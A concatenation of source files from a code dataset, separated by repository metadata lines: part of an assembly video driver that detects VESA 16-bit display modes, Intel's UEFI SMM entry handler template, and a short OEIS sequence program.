VidTestSVGA16
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Test for 800x600 16bit VESA mode
CALLED BY: INTERNAL
VidTestDevice
PASS: nothing
RETURN: ax - DevicePresent enum
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 10/ 6/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidTestSVGA16 proc near
mov ax, VD_VESA_800x600_16
call VidTestVESA
ret
VidTestSVGA16 endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidTestUVGA16
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Test for 1024x768 16bit VESA mode
CALLED BY: INTERNAL
VidTestDevice
PASS: nothing
RETURN: ax - DevicePresent enum
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 10/ 6/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidTestUVGA16 proc near
mov ax, VD_VESA_1Kx768_16
call VidTestVESA
ret
VidTestUVGA16 endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidTestHVGA16
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Test for 1280x1024 16bit VESA mode
CALLED BY: INTERNAL
VidTestDevice
PASS: nothing
RETURN: ax - DevicePresent enum
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 10/ 6/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidTestHVGA16 proc near
mov ax, VD_VESA_1280x1K_16
call VidTestVESA
ret
VidTestHVGA16 endp
VidTestVESA_640x350_16 proc near
mov ax, VD_VESA_640x350_16
call VidTestVESA
ret
VidTestVESA_640x350_16 endp
VidTestVESA_640x400_16 proc near
mov ax, VD_VESA_640x400_16
call VidTestVESA
ret
VidTestVESA_640x400_16 endp
VidTestVESA_720x400_16 proc near
mov ax, VD_VESA_720x400_16
call VidTestVESA
ret
VidTestVESA_720x400_16 endp
VidTestVESA_800x480_16 proc near
mov ax, VD_VESA_800x480_16
call VidTestVESA
ret
VidTestVESA_800x480_16 endp
VidTestVESA_832x624_16 proc near
mov ax, VD_VESA_832x624_16
call VidTestVESA
ret
VidTestVESA_832x624_16 endp
VidTestVESA_1024_600_16 proc near
mov ax, VD_VESA_1024_600_16
call VidTestVESA
ret
VidTestVESA_1024_600_16 endp
VidTestVESA_1152x864_16 proc near
mov ax, VD_VESA_1152x864_16
call VidTestVESA
ret
VidTestVESA_1152x864_16 endp
VidTestVESA_1280x600_16 proc near
mov ax, VD_VESA_1280x600_16
call VidTestVESA
ret
VidTestVESA_1280x600_16 endp
VidTestVESA_1280x720_16 proc near
mov ax, VD_VESA_1280x720_16
call VidTestVESA
ret
VidTestVESA_1280x720_16 endp
VidTestVESA_1280x768_16 proc near
mov ax, VD_VESA_1280x768_16
call VidTestVESA
ret
VidTestVESA_1280x768_16 endp
VidTestVESA_1280x800_16 proc near
mov ax, VD_VESA_1280x800_16
call VidTestVESA
ret
VidTestVESA_1280x800_16 endp
VidTestVESA_1280x854_16 proc near
mov ax, VD_VESA_1280x854_16
call VidTestVESA
ret
VidTestVESA_1280x854_16 endp
VidTestVESA_1280x960_16 proc near
mov ax, VD_VESA_1280x960_16
call VidTestVESA
ret
VidTestVESA_1280x960_16 endp
VidTestVESA_1360_768_16 proc near
mov ax, VD_VESA_1360_768_16
call VidTestVESA
ret
VidTestVESA_1360_768_16 endp
VidTestVESA_1366_768_16 proc near
mov ax, VD_VESA_1366_768_16
call VidTestVESA
ret
VidTestVESA_1366_768_16 endp
VidTestVESA_1400_1050_16 proc near
mov ax, VD_VESA_1400_1050_16
call VidTestVESA
ret
VidTestVESA_1400_1050_16 endp
VidTestVESA_1440_900_16 proc near
mov ax, VD_VESA_1440_900_16
call VidTestVESA
ret
VidTestVESA_1440_900_16 endp
VidTestVESA_1600_900_16 proc near
mov ax, VD_VESA_1600_900_16
call VidTestVESA
ret
VidTestVESA_1600_900_16 endp
VidTestVESA_1600_1024_16 proc near
mov ax, VD_VESA_1600_1024_16
call VidTestVESA
ret
VidTestVESA_1600_1024_16 endp
VidTestVESA_1600_1200_16 proc near
mov ax, VD_VESA_1600_1200_16
call VidTestVESA
ret
VidTestVESA_1600_1200_16 endp
VidTestVESA_1680_1050_16 proc near
mov ax, VD_VESA_1680_1050_16
call VidTestVESA
ret
VidTestVESA_1680_1050_16 endp
VidTestVESA_1920_1024_16 proc near
mov ax, VD_VESA_1920_1024_16
call VidTestVESA
ret
VidTestVESA_1920_1024_16 endp
VidTestVESA_1920_1080_16 proc near
mov ax, VD_VESA_1920_1080_16
call VidTestVESA
ret
VidTestVESA_1920_1080_16 endp
VidTestVESA_1920_1200_16 proc near
mov ax, VD_VESA_1920_1200_16
call VidTestVESA
ret
VidTestVESA_1920_1200_16 endp
VidTestVESA_1920_1440_16 proc near
mov ax, VD_VESA_1920_1440_16
call VidTestVESA
ret
VidTestVESA_1920_1440_16 endp
VidTestVESA_2048_1536_16 proc near
mov ax, VD_VESA_2048_1536_16
call VidTestVESA
ret
VidTestVESA_2048_1536_16 endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidTestVESA
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Test for VESA compatible board
CALLED BY: INTERNAL
VidTestDevice
PASS: ax - device index to check for
RETURN: ax - DevicePresent enum
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
call VESA inquiry functins
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 09/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidTestVESA proc near
uses di, bx, cx
.enter
push es
if NT_DRIVER
; Be lazy and only return true for the
; mode we know we support.
mov bx, DP_NOT_PRESENT
cmp ax, VM_800x600_16
jne done
mov bx, DP_PRESENT
done:
mov ax, bx
else ; NT_DRIVER
; save away the mode number
mov ss:[vesaMode], ax ; save it
; allocate fixed block to get vesa info
;CheckHack <(size VESAInfoBlock) eq (size VESAModeInfo)>
mov ax, size VESAInfoBlock + size VESAModeInfo
mov cx, ALLOC_FIXED
call MemAlloc
; use extended BIOS function 0x4f - 0 to determine if this
; is a VESA compatible board, then check the table of
; supported modes to determine if the 640x480x256-color mode
; is supported.
mov es, ax
clr di ; es:di -> VESAInfoBlock
mov ah, VESA_BIOS_EXT ; use VESA bios extensions
mov al, VESA_GET_SVGA_INFO ; basic info call
int VIDEO_BIOS ; make bios call
; if al = VESA_BIOS_EXT, then there is a VESA compatible board
; there...actually, we need to check for the VESA signature too
cmp ax, VESA_BIOS_EXT ; is this a VESA board ?
jne notPresent ; no, exit
cmp {word} es:[di].VIB_sig, 'VE' ; gimme a VE
jne notPresent
cmp {word} es:[di].VIB_sig[2], 'SA' ; gimme a SA
jne notPresent
; OK, there is a VESA board out there. Check the mode table
; for the correct mode.
les di, es:[di].VIB_modes ; get pointer to mode info
checkLoop:
cmp es:[di], 0xffff ; at mode table terminator?
je notPresent
mov ax, es:[di]
push ax
push bx
push es
push di
; OK, the mode is supported in the BIOS. Now check to see if
; it is supported by the current card/monitor setup. To do
; this, we need to call the GetModeInfo function.
call MemDerefES
mov di, size VESAInfoBlock ; es:di -> VESAModeInfo
mov cx, ax ; cx = mode number
mov ah, VESA_BIOS_EXT ; BIOS mode number
mov al, VESA_GET_MODE_INFO ; get info about mode
int VIDEO_BIOS ; get mode info
; now see if the current hardware is cool.
test es:[di].VMI_modeAttr, mask VMA_SUPPORTED
jz checkNext
; check for right color
mov al, es:[di].VMI_bitsPerPixel
cmp al, 16
jne checkNext
; check for resolution
mov bx, ss:[vesaMode]
mov ax, cs:[vesaWidth][bx]
cmp ax, es:[di].VMI_Xres
jne checkNext
mov ax, cs:[vesaHeight][bx]
cmp ax, es:[di].VMI_Yres
jne checkNext
; Hit, found matching mode
pop di
pop es
pop bx
pop ax
mov ss:[vesaMode], ax ; remember the VESA mode
; passed the acid test. Use it.
mov ax, DP_PRESENT ; yep, it's there
jmp done
checkNext::
pop di
pop es
pop bx
pop ax
inc di
inc di
jmp checkLoop
done:
; free allocated memory block
pop es
call MemFree
endif ; not NT_DRIVER
.leave
ret
notPresent::
mov ax, DP_NOT_PRESENT ;
jmp done
VidTestVESA endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidSetVESA
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set VESA 64K-color modes
CALLED BY: INTERNAL
VidSetDevice
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
call VESA set mode function
KNOWN BUGS/SIDE EFFECTS/IDEAS:
assumes that VidTestVESA has been called and passed.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 09/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if ALLOW_BIG_MOUSE_POINTER
screenCategory char "screen0",0
bigPointerKey char "bigMousePointer",0
tvModeKey char "tvMode",0
endif ; ALLOW_BIG_MOUSE_POINTER
VidSetVESA proc near
uses ax,bx,cx,dx,ds,si,es
.enter
if ALLOW_BIG_MOUSE_POINTER
; default cursor size is big for 640x480, small for other modes
; can override using screen0::bigMousePointer = true/false.
mov cx, cs
mov dx, offset bigPointerKey
mov ds, cx
mov si, offset screenCategory
call InitFileReadBoolean
jc defaultCursor
tst al
jz afterCursor
mov ss:[cursorSize], CUR_SIZE * 2
jmp afterCursor
defaultCursor:
cmp ss:[vesaMode], VM_640x480_16
jne afterCursor
mov ss:[cursorSize], CUR_SIZE * 2
afterCursor:
endif ; ALLOW_BIG_MOUSE_POINTER
; just use the BIOS extension
if not NT_DRIVER
mov ah, VESA_BIOS_EXT
mov al, VESA_SET_MODE
mov bx, ss:[vesaMode] ; mode number, clear memory
int VIDEO_BIOS
segmov es, ss, di ; es -> dgroup
lea di, ss:[vesaInfo] ; es:di -> info block
mov ah, VESA_BIOS_EXT ; use VESA bios extensions
mov al, VESA_GET_SVGA_INFO ; basic info call
int VIDEO_BIOS ; make bios call
lea di, ss:[modeInfo] ; es:di -> info block
mov ah, VESA_BIOS_EXT ; use VESA bios extensions
mov al, VESA_GET_MODE_INFO ; get info about mode
mov cx, bx ; cx = mode number
int VIDEO_BIOS ; make bios call
else
;; I should just create driver calls for the above ints, but
;; I can't do that at the moment so I'll just stuff values.
;; -- ron
;; NT_DRIVER
call InitVideoDLL
cmp ss:[vesaMode], VM_640x480_16
jne 800$
mov ss:[modeInfo].VMI_modeAttr, VESAModeAttr <0,1,1,0,0,1>
mov ss:[modeInfo].VMI_winAAttr, VESAWinAttr <0,1,1,1>
mov ss:[modeInfo].VMI_winBAttr, VESAWinAttr <0,0,0,0>
mov ss:[modeInfo].VMI_winGran, 64
mov ss:[modeInfo].VMI_winSize, 64
mov ss:[modeInfo].VMI_winASeg, 0xa000
mov ss:[modeInfo].VMI_winBSeg, 0
clrdw ss:[modeInfo].VMI_winFunc
mov ss:[modeInfo].VMI_scanSize, 640 * 2
mov ss:[modeInfo].VMI_Xres, 640
mov ss:[modeInfo].VMI_Yres, 480
mov ss:[modeInfo].VMI_Xcharsize, 8 ; ?????? FIXME
mov ss:[modeInfo].VMI_Ycharsize, 8 ; ?????? FIXME
mov ss:[modeInfo].VMI_nplanes, 1
mov ss:[modeInfo].VMI_bitsPerPixel, 16
mov ss:[modeInfo].VMI_nbanks, 16;
mov ss:[modeInfo].VMI_memModel, VMM_PACKED
mov ss:[modeInfo].VMI_backSize, 64 ; in K
mov bx, VM_640x480_16
jmp setDriverTable
800$:
mov ss:[modeInfo].VMI_modeAttr, VESAModeAttr <0,1,1,0,0,1>
mov ss:[modeInfo].VMI_winAAttr, VESAWinAttr <0,1,1,1>
mov ss:[modeInfo].VMI_winBAttr, VESAWinAttr <0,0,0,0>
mov ss:[modeInfo].VMI_winGran, 64
mov ss:[modeInfo].VMI_winSize, 64
mov ss:[modeInfo].VMI_winASeg, 0xa000
mov ss:[modeInfo].VMI_winBSeg, 0
clrdw ss:[modeInfo].VMI_winFunc
mov ss:[modeInfo].VMI_scanSize, 800 * 2
mov ss:[modeInfo].VMI_Xres, 800
mov ss:[modeInfo].VMI_Yres, 600
mov ss:[modeInfo].VMI_Xcharsize, 8 ; ?????? FIXME
mov ss:[modeInfo].VMI_Ycharsize, 8 ; ?????? FIXME
mov ss:[modeInfo].VMI_nplanes, 1
mov ss:[modeInfo].VMI_bitsPerPixel, 16
mov ss:[modeInfo].VMI_nbanks, 16;
mov ss:[modeInfo].VMI_memModel, VMM_PACKED
mov ss:[modeInfo].VMI_backSize, 64 ; in K
mov bx, VM_800x600_16
setDriverTable:
endif
; since we may be using this driver to support a number of
; other resolutions at 8bits/pixel, copy the information
; that we gleaned from the mode info call and stuff the
; appropriate fields into our own DeviceInfo structure.
sub bx, 0x110 ; get number start at 0
shl bx, 1 ; bx = word table index
mov ax, ss:[modeInfo].VMI_Yres
mov ss:[DriverTable].VDI_pageH, ax
mov ax, ss:[modeInfo].VMI_Xres
mov ss:[DriverTable].VDI_pageW, ax
mov cl, VGA24_DISPLAY_TYPE
mov bx, 72
cmp ax, 640
jbe applyRes
mov cl, SVGA24_DISPLAY_TYPE
mov bx, 80
cmp ax, 800
jbe applyRes
mov bx, 102
cmp ax, 1024
jbe applyRes
mov bx, 136
applyRes:
mov ss:[DriverTable].VDI_vRes, bx
mov ss:[DriverTable].VDI_hRes, bx
mov ss:[DriverTable].VDI_displayType, cl
mov ax, ss:[modeInfo].VMI_scanSize ; bytes per scan line
mov ss:[DriverTable].VDI_bpScan, ax
if NT_DRIVER
mov cx, cs
mov dx, offset tvModeKey
mov ds, cx
mov si, offset screenCategory
call InitFileReadBoolean
jc notTV
tst al
jz notTV
mov ss:[DriverTable].VDI_displayType, TV24_DISPLAY_TYPE
notTV:
endif
; initialize some things about the memory windows.
; first determine the window that we write to
mov al, ss:[modeInfo].VMI_winAAttr
mov ah, ss:[modeInfo].VMI_winBAttr
test ah, mask VWA_SUPPORTED or mask VWA_WRITEABLE
jz winAWrite
jnp winAWrite ; if two not set...
mov bl, VW_WINDOW_B ; bl = write window
mov cx, ss:[modeInfo].VMI_winBSeg ; cx = write win addr
tryWinARead:
test al, mask VWA_SUPPORTED or mask VWA_READABLE
jz winBRead
jnp winBRead
mov bh, VW_WINDOW_A
mov dx, ss:[modeInfo].VMI_winASeg
storeRWWin:
mov {word} ss:[writeWindow], bx ; save results
mov ss:[writeSegment], cx
mov ss:[readSegment], dx
; calculate the last offset in the window
mov bx, ss:[modeInfo].VMI_winSize
mov ax, bx
xchg al, ah ; *256
shl ax, 1 ; *512
shl ax, 1 ; *1024
dec ax ; last offset
mov ss:[curWinEnd], ax ; last offset in 64K
; calculate the window bump when going to the next window.
; It's the size divided by the granularity
mov ax, bx ; ax = winSize
mov bx, ss:[modeInfo].VMI_winGran ; bx = granularity
div bl ; al = #to bump
mov ss:[nextWinInc], ax ; set increment
.leave
ret
; window B doesn't exist or is not writeable. Use window A
; and try window B for reading.
winAWrite:
mov bl, VW_WINDOW_A
mov cx, ss:[modeInfo].VMI_winASeg
test ah, mask VWA_SUPPORTED or mask VWA_READABLE
jz tryWinARead
jnp tryWinARead
winBRead:
mov bh, VW_WINDOW_B
mov dx, ss:[modeInfo].VMI_winBSeg
jmp storeRWWin
VidSetVESA endp
vesaHeight label word
word 480 ; VD_VESA_640x480_16
word 600 ; VD_VESA_800x600_16
ifndef PRODUCT_WIN_DEMO
word 350 ; VD_VESA_640x350_16
word 400 ; VD_VESA_640x400_16
word 400 ; VD_VESA_720x400_16
word 480 ; VD_VESA_800x480_16
word 624 ; VD_VESA_832x624_16
word 600 ; VD_VESA_1024_600_16
word 768 ; VD_VESA_1Kx768_16
word 864 ; VD_VESA_1152x864_16
word 600 ; VD_VESA_1280x600_16
word 720 ; VD_VESA_1280x720_16
word 768 ; VD_VESA_1280x768_16
word 800 ; VD_VESA_1280x800_16
word 854 ; VD_VESA_1280x854_16
word 960 ; VD_VESA_1280x960_16
word 1024 ; VD_VESA_1280x1K_16
word 768 ; VD_VESA_1360_768_16
word 768 ; VD_VESA_1366_768_16
word 1050 ; VD_VESA_1400_1050_16
word 900 ; VD_VESA_1440_900_16
word 900 ; VD_VESA_1600_900_16
word 1024 ; VD_VESA_1600_1024_16
word 1200 ; VD_VESA_1600_1200_16
word 1050 ; VD_VESA_1680_1050_16
word 1024 ; VD_VESA_1920_1024_16
word 1080 ; VD_VESA_1920_1080_16
word 1200 ; VD_VESA_1920_1200_16
word 1440 ; VD_VESA_1920_1440_16
word 1536 ; VD_VESA_2048_1536_16
endif
vesaWidth label word
word 640 ; VD_VESA_640x480_16
word 800 ; VD_VESA_800x600_16
ifndef PRODUCT_WIN_DEMO
word 640 ; VD_VESA_640x350_16
word 640 ; VD_VESA_640x400_16
word 720 ; VD_VESA_720x400_16
word 800 ; VD_VESA_800x480_16
word 832 ; VD_VESA_832x624_16
word 1024 ; VD_VESA_1024_600_16
word 1024 ; VD_VESA_1Kx768_16
word 1152 ; VD_VESA_1152x864_16
word 1280 ; VD_VESA_1280x600_16
word 1280 ; VD_VESA_1280x720_16
word 1280 ; VD_VESA_1280x768_16
word 1280 ; VD_VESA_1280x800_16
word 1280 ; VD_VESA_1280x854_16
word 1280 ; VD_VESA_1280x960_16
word 1280 ; VD_VESA_1280x1K_16
word 1360 ; VD_VESA_1360_768_16
word 1366 ; VD_VESA_1366_768_16
word 1400 ; VD_VESA_1400_1050_16
word 1440 ; VD_VESA_1440_900_16
word 1600 ; VD_VESA_1600_900_16
word 1600 ; VD_VESA_1600_1024_16
word 1600 ; VD_VESA_1600_1200_16
word 1680 ; VD_VESA_1680_1050_16
word 1920 ; VD_VESA_1920_1024_16
word 1920 ; VD_VESA_1920_1080_16
word 1920 ; VD_VESA_1920_1200_16
word 1920 ; VD_VESA_1920_1440_16
word 2048 ; VD_VESA_2048_1536_16
endif
VidEnds Misc
| 24.324635 | 81 | 0.63627 |
91dc1eb3d3bc6b2937e175b717ee3c878adf85ca | 8,484 | asm | Assembly | UefiCpuPkg/Library/SmmCpuFeaturesLib/Ia32/SmiEntry.asm | CEOALT1/RefindPlusUDK | 116b957ad735f96fbb6d80a0ba582046960ba164 | [
"BSD-2-Clause"
] | 4 | 2017-11-17T21:25:36.000Z | 2019-10-08T05:32:00.000Z | UefiCpuPkg/Library/SmmCpuFeaturesLib/Ia32/SmiEntry.asm | CEOALT1/RefindPlusUDK | 116b957ad735f96fbb6d80a0ba582046960ba164 | [
"BSD-2-Clause"
] | 5 | 2020-12-25T05:24:37.000Z | 2021-01-11T01:01:01.000Z | UefiCpuPkg/Library/SmmCpuFeaturesLib/Ia32/SmiEntry.asm | CEOALT1/RefindPlusUDK | 116b957ad735f96fbb6d80a0ba582046960ba164 | [
"BSD-2-Clause"
] | 16 | 2020-07-31T17:57:27.000Z | 2021-03-10T14:32:36.000Z | ;------------------------------------------------------------------------------ ;
; Copyright (c) 2009 - 2017, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; SmiEntry.asm
;
; Abstract:
;
; Code template of the SMI handler for a particular processor
;
;-------------------------------------------------------------------------------
.686p
.model flat,C
.xmm
MSR_IA32_MISC_ENABLE EQU 1A0h
MSR_EFER EQU 0c0000080h
MSR_EFER_XD EQU 0800h
;
; Constants relating to TXT_PROCESSOR_SMM_DESCRIPTOR
;
DSC_OFFSET EQU 0fb00h
DSC_GDTPTR EQU 48h
DSC_GDTSIZ EQU 50h
DSC_CS EQU 14h
DSC_DS EQU 16h
DSC_SS EQU 18h
DSC_OTHERSEG EQU 1Ah
PROTECT_MODE_CS EQU 08h
PROTECT_MODE_DS EQU 20h
TSS_SEGMENT EQU 40h
SmiRendezvous PROTO C
CpuSmmDebugEntry PROTO C
CpuSmmDebugExit PROTO C
EXTERNDEF gcStmSmiHandlerTemplate:BYTE
EXTERNDEF gcStmSmiHandlerSize:WORD
EXTERNDEF gcStmSmiHandlerOffset:WORD
EXTERNDEF gStmSmiCr3:DWORD
EXTERNDEF gStmSmiStack:DWORD
EXTERNDEF gStmSmbase:DWORD
EXTERNDEF gStmXdSupported:BYTE
EXTERNDEF FeaturePcdGet (PcdCpuSmmStackGuard):BYTE
EXTERNDEF gStmSmiHandlerIdtr:FWORD
.code
gcStmSmiHandlerTemplate LABEL BYTE
_StmSmiEntryPoint:
DB 0bbh ; mov bx, imm16
DW offset _StmGdtDesc - _StmSmiEntryPoint + 8000h
DB 2eh, 0a1h ; mov ax, cs:[offset16]
DW DSC_OFFSET + DSC_GDTSIZ
dec eax
mov cs:[edi], eax ; mov cs:[bx], ax
DB 66h, 2eh, 0a1h ; mov eax, cs:[offset16]
DW DSC_OFFSET + DSC_GDTPTR
mov cs:[edi + 2], ax ; mov cs:[bx + 2], eax
mov bp, ax ; ebp = GDT base
DB 66h
lgdt fword ptr cs:[edi] ; lgdt fword ptr cs:[bx]
; Patch ProtectedMode Segment
DB 0b8h ; mov ax, imm16
DW PROTECT_MODE_CS ; set AX for segment directly
mov cs:[edi - 2], eax ; mov cs:[bx - 2], ax
; Patch ProtectedMode entry
DB 66h, 0bfh ; mov edi, SMBASE
gStmSmbase DD ?
DB 67h
lea ax, [edi + (@32bit - _StmSmiEntryPoint) + 8000h]
mov cs:[edi - 6], ax ; mov cs:[bx - 6], eax
mov ebx, cr0
DB 66h
and ebx, 9ffafff3h
DB 66h
or ebx, 23h
mov cr0, ebx
DB 66h, 0eah
DD ?
DW ?
_StmGdtDesc FWORD ?
@32bit:
mov ax, PROTECT_MODE_DS
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
DB 0bch ; mov esp, imm32
gStmSmiStack DD ?
mov eax, offset gStmSmiHandlerIdtr
lidt fword ptr [eax]
jmp ProtFlatMode
ProtFlatMode:
DB 0b8h ; mov eax, imm32
gStmSmiCr3 DD ?
mov cr3, eax
;
; Need to test for CR4 specific bit support
;
mov eax, 1
cpuid ; use CPUID to determine if specific CR4 bits are supported
xor eax, eax ; Clear EAX
test edx, BIT2 ; Check for DE capabilities
jz @f
or eax, BIT3
@@:
test edx, BIT6 ; Check for PAE capabilities
jz @f
or eax, BIT5
@@:
test edx, BIT7 ; Check for MCE capabilities
jz @f
or eax, BIT6
@@:
test edx, BIT24 ; Check for FXSR capabilities
jz @f
or eax, BIT9
@@:
test edx, BIT25 ; Check for SSE capabilities
jz @f
or eax, BIT10
@@: ; as cr4.PGE is not set here, refresh cr3
mov cr4, eax ; in PreModifyMtrrs() to flush TLB.
cmp FeaturePcdGet (PcdCpuSmmStackGuard), 0
jz @F
; Load TSS
mov byte ptr [ebp + TSS_SEGMENT + 5], 89h ; clear busy flag
mov eax, TSS_SEGMENT
ltr ax
@@:
; enable NXE if supported
DB 0b0h ; mov al, imm8
gStmXdSupported DB 1
cmp al, 0
jz @SkipXd
;
; Check XD disable bit
;
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
push edx ; save MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34]
jz @f
and dx, 0FFFBh ; clear XD Disable bit if it is set
wrmsr
@@:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD ; enable NXE
wrmsr
jmp @XdDone
@SkipXd:
sub esp, 4
@XdDone:
mov ebx, cr0
or ebx, 080010023h ; enable paging + WP + NE + MP + PE
mov cr0, ebx
lea ebx, [edi + DSC_OFFSET]
mov ax, [ebx + DSC_DS]
mov ds, eax
mov ax, [ebx + DSC_OTHERSEG]
mov es, eax
mov fs, eax
mov gs, eax
mov ax, [ebx + DSC_SS]
mov ss, eax
CommonHandler:
mov ebx, [esp + 4] ; CPU Index
push ebx
mov eax, CpuSmmDebugEntry
call eax
add esp, 4
push ebx
mov eax, SmiRendezvous
call eax
add esp, 4
push ebx
mov eax, CpuSmmDebugExit
call eax
add esp, 4
mov eax, offset gStmXdSupported
mov al, [eax]
cmp al, 0
jz @f
pop edx ; get saved MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2
jz @f
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
or dx, BIT2 ; set XD Disable bit if it was set before entering into SMM
wrmsr
@@:
rsm
_StmSmiHandler:
;
; Check XD disable bit
;
xor esi, esi
mov eax, offset gStmXdSupported
mov al, [eax]
cmp al, 0
jz @StmXdDone
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
mov esi, edx ; save MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34]
jz @f
and dx, 0FFFBh ; clear XD Disable bit if it is set
wrmsr
@@:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD ; enable NXE
wrmsr
@StmXdDone:
push esi
; below step is needed, because STM does not run above code.
; we have to run below code to set IDT/CR0/CR4
mov eax, offset gStmSmiHandlerIdtr
lidt fword ptr [eax]
mov eax, cr0
or eax, 80010023h ; enable paging + WP + NE + MP + PE
mov cr0, eax
;
; Need to test for CR4 specific bit support
;
mov eax, 1
cpuid ; use CPUID to determine if specific CR4 bits are supported
mov eax, cr4 ; init EAX
test edx, BIT2 ; Check for DE capabilities
jz @f
or eax, BIT3
@@:
test edx, BIT6 ; Check for PAE capabilities
jz @f
or eax, BIT5
@@:
test edx, BIT7 ; Check for MCE capabilities
jz @f
or eax, BIT6
@@:
test edx, BIT24 ; Check for FXSR capabilities
jz @f
or eax, BIT9
@@:
test edx, BIT25 ; Check for SSE capabilities
jz @f
or eax, BIT10
@@: ; as cr4.PGE is not set here, refresh cr3
mov cr4, eax ; in PreModifyMtrrs() to flush TLB.
; STM init finish
jmp CommonHandler
gcStmSmiHandlerSize DW $ - _StmSmiEntryPoint
gcStmSmiHandlerOffset DW _StmSmiHandler - _StmSmiEntryPoint
END
| 29.664336 | 100 | 0.500825 |
57fa3e8efe72bd306941722a8fed013968cd8d16 | 544 | asm | Assembly | programs/oeis/239/A239031.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/239/A239031.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/239/A239031.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A239031: Number of 4 X n 0..2 arrays with no element equal to the sum of elements to its left or one plus the sum of the elements above it, modulo 3.
; 4,11,28,59,110,189,306,473,704,1015,1424,1951,2618,3449,4470,5709,7196,8963,11044,13475,16294,19541,23258,27489,32280,37679,43736,50503,58034,66385,75614,85781,96948,109179,122540,137099,152926,170093,188674
mov $4,$0
mov $5,$0
lpb $0
sub $0,1
add $2,1
add $3,$2
add $4,$3
add $4,2
sub $4,$2
add $1,$4
lpe
add $1,1
mul $1,2
sub $1,1
lpb $5
add $1,1
sub $5,1
lpe
add $1,3
| 23.652174 | 209 | 0.681985 |
4d84c329ab83e52311d27e8b789b06f880794769 | 6,369 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_20388_2195.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_20388_2195.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
